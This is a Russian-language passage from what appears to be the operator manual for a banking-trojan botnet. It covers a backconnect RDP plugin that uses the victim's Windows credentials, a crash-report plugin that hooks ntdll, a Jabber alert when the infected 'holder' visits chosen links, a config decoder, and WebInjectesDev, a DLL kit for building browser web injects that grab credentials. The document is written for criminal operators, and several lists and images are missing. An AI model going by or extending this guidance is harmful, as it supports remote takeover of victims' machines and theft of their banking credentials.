Итак. Конфиг плагина имеет примерно такую структуру:

%IP_OF_BC_SERVER%:%PORT_OF_BC_SERVER%;%MAGIC_CODE%;%WINDOWS_LOGIN%;%WINDOWS_PASSWORD%;%URL_TO_PORTABLE_TCMD%

Плагин включается через главную админку. Список ботов можно увидеть в соответствующем пункте меню (RDP). Подключаться к ботам можно через стандартную Windows-тулзу mstsc.exe Remote Desktop Connection:

rdp usage example

Минусы текущей версии плагина:

Естественно, в следующих версиях плагинах эти проблемы будут решены. Ну а сейчас (учитывая исключения, описанные выше), плагин замечательно работает на всех x86 ОС начиная с XP, включая ОС Vista+, со включённым UAC'ом.

Configuration : Client : Plugins : bugreport

* Внимание! Лицам, не имеющим опыт работы с отладчиком, этот плагин противопоказан.

Если на машине бота случается нечто вроде крэша типа:

crashexample

То, бот, с помощью этого плагина может отправить техническую информацию о причине этого крэша

Плагин хукает ntdll!KiUserExceptionDispatcher() и, если возникнет одно из сделедующих исключений:

... то, плагин может отправить подробную информацию об ошибке (включая дизасм кода, где произошло исключение ... регистры, стэк и прочее) и о системе в коллектор. В свою очередь, в админке формграббера, можно включить отображение пункта меню BUGS и искать различные исключения:

bugs item turn on
bugs find interface

С помощью этого плагина можно выявлять проблемы, происходящие на PC холдера. То есть это нечто, частично заменяющее полноценный JIT-отладчик.

Конфиг плагина имеет некоторые параметры (могут присудствовать в конфиге как ключевые слова).

Configuration : Client : Plugins : jabbernotifier

Плагин может использоваться для оповещения о заходе холдера на тот или иной линк через jabber.

P.S.:
Плагин opensource'ный, поэтому его функционал можно расширить. Например, сделать так, чтобы при заходе на определённый линк, у холдера сразу же поднимался SOCKS или RDP плагин.

entry "JabberNotifier"
%URL_MASK% %FLAGS% %POST_MASK%
end

Настройки относительно того откуда и куда отправлять message, указываются в настройках главной админки (раздел jabber_notifier).

* Примечание. Плагин не требует включения со стороны админки.

Configuration : Client : Tools : uninstaller.exe

Эта тулза необходима, чтобы снести бота из системы (например, в случае, если вы тестируете работу бота и хотите быстро обновить его конфиг, просто снеся его и запустив бота с новым конфигом ... или просто, хотите излечить систему от случайного заражения ботом). Для её работы необходим файл settings.ini (продуцируется билдером). Тулза читает оттуда имя mutex'а бота и имя exe'шника бота. На основе имени mutex'а, тулза генерирует имя mutex'а, необходимого для сноса бота из системы, и, собственно, создаёт его. Спустя некоторое время, тулза удаляет файлы бота. Существует несколько сообщений, которых может выдавать эта тулза:

Configuration : Client : Tools : configdecoder.exe

Эта тулза нужна, чтобы посмотреть содержимое config.bin (Например, в случае, если нужно убедиться в наличии или отсутствии того или иного плагина/вебинжекта/пр. в конфиге бота). Естественно, для того, чтобы вскрыть конфиг, нужен enc. key, записанный в settings.ini (продуцируется билдером). Если enc. key правильный, то тузла создаст папку !config.bin и поместит туда содержимое config.bin

Configuration : Client : Tools : WebInjectesDev

WebInjectesDev представляет собой набор средств для разработки и тестирования инжектов. Состоит из:

Итак. Вы размещаете свои вебинжекты в файле "C:\webinjects.txt", и внедряете dll в соответствующий браузер. После чего ежесекундно, код, внедрённый в браузер, поверяет файл вебинжектов на наличие изменений. Если изменения есть, то инжекты загружаются в браузер. Такой подход позволяет сэкономить время от внесения изменений в файл вебинжектов до отображения их в браузере. Т.е. чтобы тестировать или писать вебинжекты, не нужно иметь запущенного бота в системе. Доста??очно просто использовать dll'ки в комплекте WebInjectesDev.

Чтобы убедиться в правильной работы инжектов-грабберов, можно использовать программу DebugView. Внедрённый в браузеры код отсылает туда результат работы грабящих инжектов.

Выглядит это примерно так (справа редактор файла инжектов, слева FF с внедрённой ffhookdll.dll):

injects-prev